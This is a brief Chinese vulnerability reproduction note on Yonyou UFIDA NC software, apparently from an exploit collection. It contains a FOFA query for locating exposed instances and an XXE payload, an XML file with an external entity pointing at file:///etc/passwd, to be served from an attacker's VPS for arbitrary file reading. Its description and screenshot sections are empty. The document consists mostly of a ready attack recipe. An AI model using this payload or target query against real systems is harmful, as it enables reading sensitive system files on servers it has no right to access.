

漏洞描述:

网站图片:



fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

payload:

任意文件读取利用，需要VPS上建立对应操作系统的xml文件，然后开启http服务。xml文件如下

```
Linux:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><username>&name;</username><password>l</password></user>
```

效果图:



